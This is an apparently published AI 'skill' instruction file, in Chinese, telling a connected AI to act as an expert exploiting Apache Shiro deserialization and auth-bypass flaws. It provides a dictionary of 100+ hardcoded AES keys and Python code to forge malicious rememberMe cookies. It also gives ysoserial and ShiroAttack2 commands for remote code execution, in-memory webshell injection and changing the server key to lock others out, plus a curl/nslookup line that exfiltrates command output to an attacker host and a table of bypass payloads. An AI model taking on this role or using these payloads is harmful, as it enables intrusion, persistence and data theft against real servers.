Apache Shiro反序列化漏洞深度利用技能(v3.0.0)

SkillSecurity

Apache Shiro安全框架深度利用专业技能v3.0:rememberMe Cookie AES-CBC/CBC-GCM双模式深挖、密钥爆破方法论升级(Padding Oracle深度解密原理/工具选型/并行加速)、Gadget链版本兼容矩阵、Shiro-550/721、认证绕过全系列(CVE-2020-1957至CVE-2026-56091)、Tomcat内存马/错链回显、Shiro+Fastjson/Log4j组合链、Spring Boot生态实战面、AI大模型辅助攻击载荷生成与配置审计、从指纹识别到RCE完整攻击链

Available today. Use it from your connected AI after setup.

Connect ahel once, and every AI you use reads what you have installed.

Then ask your AI: use the Apache Shiro反序列化漏洞深度利用技能(v3.0.0) skill

What this skill tells your AI

The instructions your AI receives, as published by langbyyi/cyberstrikeai-src in skills/shiro-exploitation/SKILL.md and read by ahel’s review.

AI LOAD INSTRUCTION: Apache Shiro 深度利用专家打法。按已知前提:Java 反序列化与 AES 基础。聚焦 rememberMe 模式判定→key 爆破→gadget 链兼容选型→出网/不出网/回显/内存马,含认证绕过 CVE 系列路由(CVE-2020-1957 → CVE-2026-56091)。

概述

Apache Shiro是Java领域使用最广泛的安全框架之一,其rememberMe功能通过AES加密将用户身份序列化数据存储在Cookie中。当使用硬编码密钥(Hardcoded Key)时,攻击者可构造恶意rememberMe Cookie实现反序列化RCE;即使密钥不可知,CBC模式下的Padding Oracle攻击(Shiro-721)也可在无需密钥的情况下构造恶意密文。本技能站在资深攻防专家视角,系统化覆盖精确指纹识别→加密模式判定→密钥爆破→Gadget链选择→认证绕过→组合链利用→内存马/回显→WAF绕过→RCE完整攻击链,并深度融合AI大模型辅助攻击2025-2026最新漏洞情报

核心概念

  • rememberMe Cookie:Base64编码的AES加密Java序列化数据,本质是"可被伪造的身份凭证"
  • CBC模式:Shiro <1.4.2默认使用AES/CBC/PKCS5Padding,IV固定为密钥本身的前16字节(CVE-2016-4437根因之一)
  • GCM模式:Shiro >=1.4.2默认使用AES/GCM/NoPadding,每次随机IV(更安全的默认模式)
  • Key:16字节(128位)AES密钥,Base64编码存储
  • 默认Key:kPH+bIxk5D2deZiIxcaaaA==(Shiro 1.2.4及之前硬编码在源码AbstractRememberMeManager.DEFAULT_CIPHER_KEY_BYTES,大量项目沿用至今)
  • 认证绕过 ≠ 反序列化:Shiro还有一整套URL路径解析差异导致的认证绕过家族,可与反序列化RCE叠加打出"未授权直达RCE"
  • 版本生命周期:Shiro v1已于2024-02-28被v2取代,v2于2026-06-29被v3取代(v3.0.0修复2026年新披露CVE)

安全演进时间线

时间编号类型影响/修复突破/防御要点
2016-06CVE-2016-4437 (Shiro-550)反序列化RCE<1.2.5,修复:随机Key硬编码Key kPH+bIxk5D2deZiIxcaaaA==,至今仍是最大入口
2019-08CVE-2019-12422 (Shiro-721)Padding Oracle<1.4.2,修复:默认GCMCBC+固定IV,无需Key即可构造密文,需合法Cookie+海量请求
2020-03CVE-2020-1957认证绕过<1.5.2,/xxx/..;/admin/Shiro与Spring对分号/路径规范化处理差异
2020-05CVE-2020-11989认证绕过<1.5.3%2F双编码斜杠绕过
2020-06CVE-2020-11988认证绕过1957修复不彻底变体分号/路径解析差异族
2020-08CVE-2020-13933认证绕过<1.6.0%3B编码分号绕过
2020-11CVE-2020-17510认证绕过<1.7.0%2e点号编码绕过
2020-12CVE-2020-17523认证绕过<1.7.1路径末尾空格绕过
2021-08CVE-2021-41303认证绕过<1.8.0AntPathMatcher匹配差异(星号/多段)
2023-01CVE-2023-22602认证绕过Spring AntPathMatcher配置差异?通配符与路径规范化
2023-07CVE-2023-34478路径遍历→认证绕过<1.12.0,CVSS 9.8与API/非标准化路由框架组合
2023-11CVE-2023-46749路径穿越→认证绕过<1.13.0,需blockSemicolon=false+path rewriting/file/anonUser/..%3b
2023-11CVE-2023-46750开放重定向<1.13.0,form认证登录跳转URL校验缺失
2026-02CVE-2026-23901用户名枚举(时间侧信道)1.x全部、2.x<2.0.7用户不存在/存在时密码哈希耗时差异
2026-02CVE-2026-23903认证绕过(大小写)<2.0.7,仅静态文件+大小写不敏感文件系统请求路径大小写变化绕过小写filter
2026-02CVE-2026-23903同批认证绕过2.x系列需跟踪官方公告
2026-06CVE-2026-56091认证绕过(guice模块)全部2.x及3.0.0-alpha-1,修复3.0.0类似CVE-2020-1957但影响shiro-guice
2026-06CVE-2026-56130RememberMe Cookie重放1.2.4~2.x及3.0.0-alpha-1服务端不校验Cookie年龄,过期Cookie可无限重放
2026-06CVE-2026-49268/48589/44598/43827/438282026新披露系列修复于2.x后续版本关注shiro.apache.org/security-reports更新

一、Shiro指纹精确识别与版本判定

1.1 基础指纹确认

指纹特征检测方法
rememberMe Cookie登录勾选"记住我"后观察响应Set-Cookie
deleteMe Cookie发送无效rememberMe值,响应出现Set-Cookie: rememberMe=deleteMe即确认Shiro(Shiro 1.x遇到非法Cookie必回deleteMe
JSESSIONIDShiro通常与JSESSIONID配合使用
错误页面特征Shiro默认错误页面/登录跳转特征
# 快速探测(ShiroAttack2 CLI)
java -cp shiro_attack-5.1.1-all.jar com.summersec.attack.CLI.MainCLI detect -u http://target

1.2 加密模式判定(CBC vs GCM)

# 发送deleteMe探测
GET / HTTP/1.1
Cookie: rememberMe=1

# 观察响应:
# 如果rememberMe=deleteMe → 存在Shiro
# Cookie长度固定(相同payload每次相同)→ CBC模式
# Cookie长度每次变化(随机IV)→ GCM模式
特征CBC模式GCM模式
Shiro版本<1.4.2>=1.4.2
加密算法AES/CBC/PKCS5PaddingAES/GCM/NoPadding
IV来源密钥的前16字节每次加密随机生成
Cookie长度固定(相同payload)每次不同(随机IV)
Cookie结构IV(16)+CiphertextIV(16)+Ciphertext+AuthTag(16)
PaddingPKCS5PaddingNoPadding
解密错误BadPaddingExceptionAEADBadTagException
反序列化入口均可触发ObjectInputStream.readObject()同左

1.3 多版本精确区分(进阶)

仅靠CBC/GCM只能粗分1.4.2前后,实战中需要更精确的版本定位:

判定维度方法版本含义
Cookie长度有效rememberMe Cookie长度固定模式CBC模式 → <1.4.2
认证绕过Payload回显试各CVE payload(见第七章)定位1.5.2/1.5.3/1.6.0/1.7.0/1.8.0/1.13.0边界
错误信息差异触发反序列化错误观察异常类名/堆栈可泄露精确版本号
响应头差异不同版本deleteMe Set-Cookie细节经验特征
依赖扫描Maven/Gradle依赖树、War包lib目录最精确(白盒)
JNDI探测特定Gadget链是否命中推断依赖版本(如CB1命中=存在commons-beanutils)
# 白盒/半白盒精确版本
mvn dependency:tree | grep shiro
# 或直接查看War包
unzip -l app.war | grep -i shiro

1.4 环境信息收集

  • JDK版本:决定JNDI注入是否可行(RMI <=8u121,LDAP <=8u191;更高版本需Rogue-JNDI/tomcat EL);决定Jdk7u21链可用性;决定内存马注入方式
  • 中间件类型:Tomcat/Jetty/Undertow/Spring Boot内嵌,决定回显与内存马技术路线(Tomcat Filter/Valve、Spring Interceptor/HandlerMethod)
  • 启动方式:Spring Boot FatJar(java -jar)→ LaunchedURLClassLoader;War部署→Tomcat容器ClassLoader(影响JNDI与BCEL链)
  • 第三方依赖:commons-beanutils(Shiro自带,CB1链核心)/commons-collections3/4/c3p0等,决定Gadget链选择
  • 网络出口:决定出网(DNS/HTTP/JNDI外带)还是不出网(回显/内存马/写WebShell)利用路线
  • 过滤器链配置:shiro.ini或Spring Boot配置中/**=authc规则,同时是认证绕过利用的输入面
  • blockSemicolon状态:默认开启,关闭时可配合CVE-2023-46749利用

二、RememberMe机制与AES加密深度原理

2.1 完整数据流(理解漏洞前提)

登录成功(勾选rememberMe)
  → Subject身份信息(PrincipalCollection) Java序列化 → byte[]
  → AES加密(CBC: IV=Key[:16];GCM: 随机IV) → byte[]
  → Base64编码 → 写入rememberMe Cookie
请求到达
  → CookieRememberMeManager.getRememberedSerializedIdentity(Base64解码)
  → AbstractRememberMeManager.decrypt(AES解密)
  → convertBytesToPrincipals(Java反序列化 readObject)
  → 反序列化失败 → onRememberedPrincipalFailure → Set-Cookie: rememberMe=deleteMe

关键点readObject()是攻击入口,deleteMe响应是攻击者最可靠的判定信号(Key爆破、Padding Oracle都依赖它)。

2.2 CBC模式深度原理(Shiro <1.4.2)

加密流程:

1. 序列化Java对象 → byte[]
2. PKCS5Padding填充
3. IV = Key的前16字节(这是Shiro-550/721漏洞的密码学根因!)
4. AES/CBC加密
5. 拼接: IV + Ciphertext
6. Base64编码 → rememberMe Cookie值

解密流程(CBC公式):

P_i = D(C_i) ⊕ C_{i-1}      (P=明文块,C=密文块,D=AES解密)
P_1 = D(C_1) ⊕ IV            (首块使用IV)

CBC模式构造Payload(Python):

import base64
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad

def shiro_cbc_encrypt(key_b64, serialized_bytes):
    key = base64.b64decode(key_b64)
    iv = key[:16]  # CBC模式IV=Key前16字节(漏洞根因)
    cipher = AES.new(key, AES.MODE_CBC, iv)
    padded = pad(serialized_bytes, AES.block_size)
    ciphertext = cipher.encrypt(padded)
    return base64.b64encode(iv + ciphertext).decode()

# payload = shiro_cbc_encrypt("kPH+bIxk5D2deZiIxcaaaA==", ysoserial_payload_bytes)

2.3 GCM模式深度原理(Shiro >=1.4.2)

加密流程:

1. 序列化Java对象 → byte[]
2. 随机生成16字节IV
3. AES/GCM加密(NoPadding,GCM本质是CTR流式+GHASH认证)
4. 拼接: IV + Ciphertext + AuthTag(16字节)
5. Base64编码 → rememberMe Cookie值

GCM模式构造Payload(Python):

import base64
import os
from Crypto.Cipher import AES

def shiro_gcm_encrypt(key_b64, serialized_bytes):
    key = base64.b64decode(key_b64)
    iv = os.urandom(16)  # GCM模式随机IV
    cipher = AES.new(key, AES.MODE_GCM, nonce=iv)
    ciphertext, auth_tag = cipher.encrypt_and_digest(serialized_bytes)
    return base64.b64encode(iv + ciphertext + auth_tag).decode()

# payload = shiro_gcm_encrypt("found_key_base64", ysoserial_payload_bytes)

2.4 CBC vs GCM安全模型对比

维度CBCGCM
认证性无(纯机密性,可被篡改/POA)有AuthTag(完整性认证)
Padding Oracle可利用(Shiro-721)不可利用(NoPadding)
Key爆破判定BadPaddingExceptionAEADBadTagException
IV重用风险存在(固定IV=Key)无(随机IV)
绕过难度较低较高(但Key泄露照样沦陷)

三、密钥爆破方法论升级

3.1 爆破原理与判定信号

核心思路:Shiro使用对称加密,只要拿到Key就能伪造Cookie。Key来源:

  1. 默认/硬编码Key(最高频,覆盖绝大多数实战)
  2. 弱Key字典爆破
  3. 代码/配置泄露(GitHub泄露、War包反编译、备份文件)

CBC模式Key爆破:

1. 使用候选Key对rememberMe Cookie(如rememberMe=1)进行AES-CBC解密
2. 无BadPaddingException → Key可能正确
3. 有异常 → Key不正确,继续下一个

GCM模式Key爆破:

1. 使用候选Key对rememberMe Cookie进行AES-GCM解密
2. 无AEADBadTagException且解密结果以Java序列化头AC ED 00 05开头 → Key正确
3. 有异常 → Key不正确

新一代验证方法(无需DNSLog):ShiroAttack2等现代工具不再依赖DNSLog外带验证,而是:

1. 构造 SimplePrincipalCollection 的合法序列化数据(Shiro身份对象)
2. 用候选Key加密成rememberMe Cookie发送
3. 响应中【没有】Set-Cookie: rememberMe=deleteMe → Key正确(Shiro成功解密并反序列化身份)
4. 有deleteMe → Key错误

这种方法无需目标出网、无需外部设施,且对CBC/GCM同样适用,是当前主流的Key验证标准。

3.2 AES-CBC Padding Oracle深度解密原理(Shiro-721核心)

攻击模型(CVE-2019-12422,影响1.2.5-1.4.1):

前提:拿到一个合法rememberMe Cookie(任意用户登录勾选rememberMe即可)
目标:无需知道Key,构造任意明文的密文(CBC-R加密)→ 伪造恶意序列化Payload

Oracle信号:攻击者修改Cookie密文后发送,Shiro解密:

  • Padding非法 → BadPaddingException → 响应Set-Cookie: rememberMe=deleteMe
  • Padding合法 → 解密成功进入后续处理 → 响应不含deleteMe(不同版本信号可能不稳定,需结合状态码/响应体/时间差校准,这是实战主要难点

逐字节解密原理(利用CBC公式P_i = D(C_i) ⊕ C_{i-1}):

以爆破最后一个密文块C_n为例,攻击者构造伪造块F与C_n拼接:
1. 设目标:使 P_n 的padding = 0x01(PKCS5合法)
2. P_n = D(C_n) ⊕ F,攻击者控制F
3. 遍历F最后一个字节(0x00-0xFF,平均128次):
   直到Shiro判定padding合法(无deleteMe)→ 得到 D(C_n)[last] ⊕ F[last] = 0x01
4. 推出 P_n[last] = D(C_n)[last] ⊕ F[last]
5. 固定已解字节,构造padding=0x02继续爆破倒数第二字节
6. 依次类推:每字节平均128次请求,16字节块约2048次请求

CBC-R加密(构造任意恶意密文)

1. 将合法Cookie解出的密文作为"前缀"(保证反序列化时Java流头部有效)
2. 从尾部往前逐块构造:目标明文P_target已知(恶意payload)
   F_i = P_target_i ⊕ D(C_{i+1})   (D未知,通过POA解密获得)
3. 最终拼接出完整恶意密文 → 重放rememberMe → RCE

实战注意

  • 请求量巨大(payload越长爆破越慢,每字节约128请求),Shiro-721利用非常"鸡肋"但原理必须掌握(它是理解现代CBC加固的核心)
  • 需控制请求速率,避免触发WAF/限流
  • 参考实现:inspiringz/Shiro-721longofo/PaddingOracleAttack-Shiro-721、ShiroExploit的721模块

3.3 爆破工具选型(2025-2026现状)

工具语言CBC/GCM特点适用场景
ShiroAttack2 (SummerSec)Java双模式自动切换GUI+CLI双模式、多版本CB gadget、内存马、changekey、--json结构化输出首选,批量/脚本化/AI集成
ShiroExploit (FightingLzn9)Java双模式GCM支持、回显生成、721模块单点深度利用
shiro-exploit (yijingsec)Python双模式check/yso/echo/encode子命令,无需DNSLog轻量快速验证
ShiroExp (safe6Sec)Go双模式编译型速度快大规模扫描
Shiro_exploit (insightglacier)PythonCBC为主经典工具快速默认Key验证
shiro_attack (j1anFen)Java双模式ShiroAttack2前身历史场景
# ShiroAttack2 CLI 核心用法(--json适合AI/脚本解析)
java -cp shiro_attack-5.1.1-all.jar com.summersec.attack.CLI.MainCLI detect -u http://target --json
java -cp shiro_attack-5.1.1-all.jar com.summersec.attack.CLI.MainCLI crack -u http://target -f data/shiro_keys.txt --json
java -cp shiro_attack-5.1.1-all.jar com.summersec.attack.CLI.MainCLI exec -u http://target -k <key> -c "id" --json

3.4 提速策略(并行与资源优化)

  • 字典优先级:默认Key → Top 50高频 → 完整字典(250+条),80%+场景Top 50即可命中
  • 并发爆破:多线程/异步并发(连接池复用,避免TCP握手开销);ShiroAttack2/Go工具天然支持
  • GPU加速:在线爆破瓶颈在网络延迟而非计算,GPU收益有限;但在离线场景(已获取Key哈希/配置文件泄露的加密值)可用hashcat等GPU工具跑AES-128破解
  • 连接复用:HTTP keep-alive + 单请求多Key判定(一次请求携带多种探测Cookie变体)减少往返
  • 响应时间分析:解密成功时响应时间通常不同于失败,可辅助排序候选Key
  • 状态码分析:部分应用解密失败返回500,可替代deleteMe信号

3.5 高频Key字典(Top 50+,完整字典250+条)

# Shiro默认Key(最高频!大量项目未修改,Shiro 1.2.4及之前硬编码)
kPH+bIxk5D2deZiIxcaaaA==

# 常见硬编码Key(脚手架/教程流传,2025-2026新报告中仍在出现)
2AvVhdsgUs0FSA3SDFAdag==
3AvVhmFLUs0KTA3Kprsdag==
4AvVhmFLUs0KTA3Kprsdag==
5aaC5qKm5oqA5pyvAAAAAA==
6ZmI6I2j5Y+R5aSn5ZOlAA==
bWljcm9zAAAAAAAAAAAAAA==
wGiHplamyXlVB11UXWol8g==
Z3VucwAAAAAAAAAAAAAAAA==
MTIzNDU2Nzg5MGFiY2RlZg==
zSyK5Kp6PZAAjlT+eeNMlg==
U3ByaW5nQmxhZGUAAAAAAA==
5AvVhmFLUs0KTA3Kprsdag==
bWdrXl9eNjY2KjA3Z2otPQ==
fCq+/xW488hMTCD+cmJ3aQ==
1QWLxg+NYmxraMoxAXu/Iw==
ZUdsaGJuSmxibVI2ZHc9PQ==
L7RioUULEFhRyxM7a2R/Yg==
r0e3c16IdVkouZgk1TKVMg==
bWluZS1hc3NldC1rZXk6QQ==
a2VlcE9uR29pbmdBbmRGaQ==
WcfHGU25gNnTxTlmJMeSpw==
ZAvph3dsQs0FSL3SDFAdag==
tiVV6g3uZBGfgshesAQbjA==
cmVtZW1iZXJNZQAAAAAAAA==
ZnJlc2h6Y24xMjM0NTY3OA==
RVZBTk5JR0hUTFlfV0FPVQ==
WkhBTkdYSUFPSEVJX0NBVA==
GsHaWo4m1eNbE0kNSMULhg==
l8cc6d2xpkT1yFtLIcLHCg==
KU471rVNQ6k7PQL4SqxgJg==
0AvVhmFLUs0KTA3Kprsdag==
1AvVhdsgUs0FSA3SDFAdag==
25BsmdYwjnfcWmnhAciDDg==
3JvYhmBLUs0ETA5Kprsdag==
6AvVhmFLUs0KTA3Kprsdag==
6NfXkC7YVCV5DASIrEm1Rg==
7AvVhmFLUs0KTA3Kprsdag==
8AvVhmFLUs0KTA3Kprsdag==
8BvVhmFLUs0KTA3Kprsdag==
9AvVhmFLUs0KTA3Kprsdag==
OUHYQzxQ/W9e/UjiAGu6rg==
a3dvbmcAAAAAAAAAAAAAAA==
aU1pcmFjbGVpTWlyYWNsZQ==
bXRvbnMAAAAAAAAAAAAAAA==
OY//C4rhfwNxCQAQCrQQ1Q==
5J7bIJIV0LQSN3c9LPitBQ==
f/SY5TIve5WWzT4aQlABJA==
bya2HkYo57u6fWh5theAWw==

# 其他常见Key(延伸字典)
WuB+y2gcHRnY2Lg9+Aqmqg==
3qDVdLawoIr1xFd6ietnwg==
YI1+nBV//m7ELrIyDHm6DQ==
2A2V+RFLUs+eTA3Kpr+dag==
SkZpbmFsQmxhZGUAAAAAAA==
2cVtiE83c4lIrELJwKGJUw==
fsHspZw/92PrS3XrPW+vxw==
XTx6CKLo/SdSgub+OPHSrw==
sHdIjUN6tzhl8xZMG3ULCQ==
O4pdf+7e+mZe8NyxMTPJmQ==
HWrBltGvEZc14h9VpMvZWw==
rPNqM6uKFCyaL10AK51UkQ==
Y1JxNSPXVwMkyvES/kJGeQ==
lT2UvDUmQwewm6mMoiw4Ig==
MPdCMZ9urzEA50JDlDYYDg==
xVmmoltfpb8tTceuT5R7Bw==
c+3hFGPjbgzGdrC+MHgoRQ==
ClLk69oNcA3m+s0jIMIkpg==
Bf7MfkNR0axGGptozrebag==
1tC/xrDYs8ey+sa3emtiYw==
ZmFsYWRvLnh5ei5zaGlybw==
cGhyYWNrY3RmREUhfiMkZA==
IduElDUpDDXE677ZkhhKnQ==
yeAAo1E8BOeAYfBlm4NG9Q==
cGljYXMAAAAAAAAAAAAAAA==
2itfW92XazYRi5ltW0M2yA==
XgGkgqGqYrix9lI6vxcrRw==
ertVhmFLUs0KTA3Kprsdag==
s0KTA3mFLUprK4AvVhsdag==
hBlzKg78ajaZuTE0VLzDDg==
9FvVhtFLUs0KnA3Kprsdyg==
d2ViUmVtZW1iZXJNZUtleQ==
yNeUgSzL/CfiWw1GALg6Ag==
NGk/3cQ6F5/UNPRh8LpMIg==
4BvVhmFLUs0KTA3Kprsdag==
MzVeSkYyWTI2OFVLZjRzZg==
empodDEyMwAAAAAAAAAAAA==
A7UzJgh1+EWj5oBFi+mSgw==
c2hpcm9fYmF0aXMzMgAAAA==
i45FVt72K2kLgvFrJtoZRw==
U3BAbW5nQmxhZGUAAAAAAA==
Jt3C93kMR9D5e8QzwfsiMw==
MTIzNDU2NzgxMjM0NTY3OA==
vXP33AonIp9bFwGl7aT7rA==
V2hhdCBUaGUgSGVsbAAAAA==
Q01TX0JGTFlLRVlfMjAxOQ==
Is9zJ3pzNh2cgTHB4ua3+Q==
NsZXjXVklWPZwOfkvk6kUA==
GAevYnznvgNCURavBhCr1w==
66v1O8keKNV3TTcGPK1wzg==
SDKOLKn2J1j/2BHjeZwAoQ==
kPH+bIxk5D2deZiIxcabaA==
kPH+bIxk5D2deZiIxcacaA==
3AvVhdAgUs0FSA4SDFAdBg==
4AvVhdsgUs0F563SDFAdag==
FL9HL9Yu5bVUJ0PDU1ySvg==
5RC7uBZLkByfFfJm22q/Zw==
eXNmAAAAAAAAAAAAAAAAAA==
fdCEiK9YvLC668sS43CJ6A==

3.6 爆破后的验证与利用衔接

1. 命中Key后先用URLDNS/SimplePrincipalCollection验证(不触发RCE)
2. 构造RCE Payload前先确认目标依赖环境(决定Gadget链)
3. 验证Gadget链可用性:先打无害命令(如touch /tmp/shiro_poc)再打敏感操作
4. 保留爆破记录(Key来源、验证时间、目标指纹)便于撰写报告

四、Gadget链选择与版本兼容矩阵

4.1 经典Gadget链矩阵

链名依赖包触发路径Shiro兼容性
CommonsBeanutils1commons-beanutils:1.xPriorityQueue→BeanComparator最佳选择(Shiro自带依赖)
CommonsBeanutils2commons-beanutils:1.9.x+CC3绕过CC3黑名单推荐
CommonsCollections1commons-collections:3.1-3.2.1LazyMap→InvokerTransformer需目标有此依赖(3.2.2+已修复CC1)
CommonsCollections2commons-collections4:4.0TransformingComparator需commons-collections4
CommonsCollections3commons-collections:3.1-3.2.1LazyMap+TemplatesImpl需CC3
CommonsCollections5/6/7commons-collections:3.x多种触发方式CC6最稳定
Jdk7u21JDK自带AnnotationInvocationHandlerJDK≤7u21(高版本JDK需LinkedHashSet变体)
URLDNSJDK自带URL→hashCode→DNS探测用,非RCE

4.2 现代Gadget链(2025-2026实战演进)

NoCC链(无需commons-collections,ShiroAttack2默认优先):

String链 / AttrCompare / ObjectToStringComparator 变体
→ 不依赖ComparableComparator(CC3.2.2+已从beanutils移除该依赖)
→ 仅需commons-beanutils 1.8.3/1.9.2 + 部分JDK自带类
→ 兼容性显著高于传统CB1,是2025-2026实战首选

优先级排序(现代实战):

1. NoCC变体链(AttrCompare/ObjectToStringComparator)→ 无需CC依赖
2. CommonsBeanutils1(CB1)→ Shiro自带commons-beanutils
3. CommonsBeanutils2(CB2)→ 绕过CC3黑名单版本
4. CommonsCollections6(CC6)→ CC3.2.2+仍可用
5. CommonsCollections2(CC2)→ 需CC4
6. Jdk7u21 → 无额外依赖但JDK版本限制
7. URLDNS → 仅探测验证

4.3 Shiro版本 × 依赖版本 × JDK版本兼容矩阵

Shiro版本加密模式自带beanutils推荐链JDK限制备注
<1.2.5CBC1.8.xCB1/CB2/CC6硬编码Key,Shiro-550
1.2.5-1.4.1CBC1.8.x-1.9.xCB1/CB2/CC6随机Key但可Shiro-721
1.4.2-1.6.xGCM1.9.xNoCC/CB2/CC6默认GCM
1.7.0-1.13.0GCM1.9.xNoCC/CB2认证绕过系列修复
2.xGCM1.9.xNoCC/CB22024后主版本

4.4 CB1链详解(Shiro最佳经典链)

为什么CB1经典但需注意:

  • Shiro框架自身依赖commons-beanutils,无需目标额外引入CC
  • 但commons-beanutils 1.9.4+移除ComparableComparator(依赖CC3.2.2),需改用NoCC变体或CB2

CB1触发路径:

PriorityQueue.readObject()
  → BeanComparator.compare()
    → PropertyUtils.getProperty()
      → TemplatesImpl.getOutputProperties()
        → TemplatesImpl.newTransformer()
          → Runtime.exec()

4.5 Payload生成

# ysoserial生成各链Payload
java -cp ysoserial.jar ysoserial.payloads.CommonsBeanutils1 "id" | base64
java -cp ysoserial.jar ysoserial.payloads.CommonsCollections6 "id" | base64
java -cp ysoserial.jar ysoserial.payloads.Jdk7u21 "id" | base64

# URLDNS探测(仅验证,非RCE)
java -cp ysoserial.jar ysoserial.payloads.URLDNS "http://shiro-test.dnslog.cn" | base64

# JRMPListener(出网回连)
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1099 CommonsBeanutils1 "id"

五、完整利用流程:出网/不出网/回显/内存马

5.1 标准出网利用流程

Step 1: 指纹识别 → rememberMe=1 观察deleteMe
Step 2: 加密模式判断 → CBC/GCM(Cookie长度/结构)
Step 3: Key爆破 → 默认Key→Top50→完整字典
Step 4: DNSLog验证 → URLDNS Payload加密发送,检查DNS记录
Step 5: JNDI RCE(出网)
  → 启动JNDI服务器(marshalsec/rogue-jndi)
  → 构造JdbcRowSetImpl等JNDI注入链序列化数据
  → AES加密 → Base64 → rememberMe Cookie
  → 目标回连JNDI → 加载恶意类 → RCE
Step 6: 命令执行结果外带(DNS/HTTP)

5.2 不出网利用流程(回显/内存马)

Step 1-3: 同上(指纹/模式/Key)
Step 4: 选择不出网链(CB1/CB2/NoCC/TemplatesImpl)
Step 5: AES加密Payload(CBC: IV=Key[:16]+CT;GCM: IV+CT+Tag)
Step 6: 发送rememberMe Cookie
Step 7: 回显:命令写入自定义Header(cmd),结果通过Response回显
       或写WebShell到Web目录持久化

5.3 回显利用技术(错链回显/无回显→有回显)

Tomcat回显(通过Header):

// 回显类通过修改Tomcat的Request/Response对象实现命令回显
// 命令通过自定义Header传入(如cmd/shell/exec),结果写回Response
// 适用于Tomcat 7-9,通过ThreadLocal获取当前Request/Response

Spring回显(SpringEcho):

// 通过RequestMappingHandlerAdapter获取当前请求上下文
// 适用于Spring Boot 2.x内嵌容器场景

DFS-AllEcho(通用回显):

// DFS算法回显,兼容Tomcat/Jetty/Undertow等主流容器
// ShiroAttack2集成的AllEcho回显生成器(jEG),失败自动回退Legacy

回显类型选型:

回显类型适用中间件备注
TomcatEchoTomcat 7-9最成熟
SpringEchoSpring Boot 2.x内嵌容器
DFS-AllEcho多容器通用兼容性最好
ReverseEcho任意反向连接,需目标出网
NoEcho任意无回显,配合写文件/DNS外带

5.4 内存马注入(无文件持久化)

注入类型与优先级:

Filter内存马 > Servlet内存马 > Listener内存马
Interceptor内存马(Spring MVC)
HandlerMethod内存马(Spring Boot)
TomcatValve内存马(Tomcat容器级)

内存马优势:

  • 无需写文件到磁盘(规避文件落地检测)
  • 攻击脱离rememberMe漏洞依赖(注入后无需Key即可控制)
  • 重启后失效(部分场景需要反复注入)

现代工具集成:

# ShiroAttack2 注入内存马(哥斯拉/冰蝎/蚁剑等)
java -cp shiro_attack-5.1.1-all.jar com.summersec.attack.CLI.MainCLI memshell \
  -u http://target -k <key> -t filter -s godslinger
# 支持类型: Filter / Servlet / Interceptor / HandlerMethod / TomcatValve

5.5 Shiro Key篡改(changekey,巩固权限)

原理:利用内存马执行权限,动态修改服务端CookieRememberMeManager的AES Key
效果:
  - 旧Key立即失效,彻底封死其他攻击者利用路径
  - 攻击者持新Key可持续控制(相当于"改密码")
风险:可能导致业务登录异常(rememberMe全部失效),谨慎在生产环境使用
java -cp shiro_attack-5.1.1-all.jar com.summersec.attack.CLI.MainCLI changekey \
  -u http://target -k <old_key> -nk <new_key>

5.6 加密DNS外带(命令结果回传)

当目标不出HTTP但能出DNS(或HTTP外带被WAF拦截)时使用:

# 方案1:命令结果 → DNS查询(经典dnslog方式)
# 攻击者起DNS监听,命令结果拼入子域名
whoami | base64 | awk '{print $0".cmd.<你的dnslog域名>"}' | xargs -I{} sh -c 'nslookup {}'

# 方案2:自建DNS隧道(iodine/dnscat2思路,适合大流量回传)
# 方案3:HTTP外带(目标能出HTTP时更直观)
curl -d "$(id|base64)" http://attacker:8888/collect

六、Shiro-550 与 Shiro-721 深度剖析

6.1 Shiro-550(CVE-2016-4437)

  • 漏洞类型:反序列化RCE(硬编码Key)
  • 影响范围:Shiro 1.x < 1.2.5
  • 利用条件:使用默认Key kPH+bIxk5D2deZiIxcaaaA==(或可爆破的弱Key)
  • 利用链:CB1/CB2/CC系列 + AES加密 + rememberMe Cookie
  • 修复:1.2.5改为随机生成Key
  • 现状(2026)至今仍是Shiro最高频漏洞——大量项目沿用默认Key、脚手架代码十年未改、Key一旦写入配置/Docker镜像/源码仓库便难以轮换(客户端服务端必须一致,多节点全量更换成本高)

6.2 Shiro-721(CVE-2019-12422)

  • 漏洞类型:Padding Oracle Attack(CBC模式IV重用+无认证)
  • 影响范围:1.2.5-1.4.1(CBC模式)
  • 利用条件
    • 已知一个有效rememberMe Cookie(任意账号登录勾选rememberMe)
    • AES/CBC模式(IV=Key前16字节)
  • 利用原理:详见3.2节(POA逐字节解密 + CBC-R任意密文构造)
  • 修复:1.4.2默认切换GCM(认证加密,POA失效)
  • 实战评价:利用"鸡肋"——请求量巨大(payload每字节约128次请求)、速度慢、信号易受版本影响;但原理是理解现代CBC安全的核心,也是各类Java框架POA利用的通用模板

6.3 Shiro-550 vs Shiro-721 对比

维度Shiro-550Shiro-721
需要Key是(默认Key或爆破)否(Padding Oracle)
需要合法Cookie
请求量少量(爆破Key)大量(逐字节POA)
利用速度秒级分钟-小时级
修复版本1.2.51.4.2
当前实战价值极高(仍大量存在)低(环境多为GCM)

七、认证绕过系列(CVE-2020-1957 → CVE-2026-56091)

7.1 根因:Shiro与Spring路径解析差异

核心原理:Shiro的过滤器链匹配(AntPathMatcher)与Spring MVC的URL解析对同一请求路径的处理不一致,攻击者构造"Shiro认为无需认证、Spring却路由到受保护资源"的URL。

Shiro处理:WebUtils.getPathWithinApplication → decodeAndCleanUriString(截断分号、规范化../)
Spring处理:UrlPathHelper.removeSemicolonContent(移除分号后内容)→ 路径拼接解析

7.2 各CVE Payload汇总表

CVE影响版本Payload绕过原理
CVE-2020-1957<1.5.2/xxx/..;/admin/分号截断 + ..规范化差异
CVE-2020-11989<1.5.3/admin/%2Fpage%2F双编码斜杠(容器解码一层)
CVE-2020-119881957修复变体分号/路径变体组合1957修复不彻底
CVE-2020-13933<1.6.0/admin/%3Bpage%3B编码分号绕过过滤
CVE-2020-17510<1.7.0/admin/%2e%2e/%2e点号编码绕过规范化
CVE-2020-17523<1.7.1/admin/ (末尾空格)空格被Shiro去除而Spring保留
CVE-2021-41303<1.8.0AntPattern差异*/**匹配语义差异
CVE-2023-22602特定配置?通配符Spring AntPathMatcher配置差异
CVE-2023-34478<1.12.0路径遍历与API组合非标准化请求路由
CVE-2023-46749<1.13.0/file/anonUser/..%3bblockSemicolon=false+path rewriting时尾部..未规范化
CVE-2026-56091全部2.x及3.0.0-alpha-1shiro-guice模块分号绕过类似CVE-2020-1957但影响guice集成
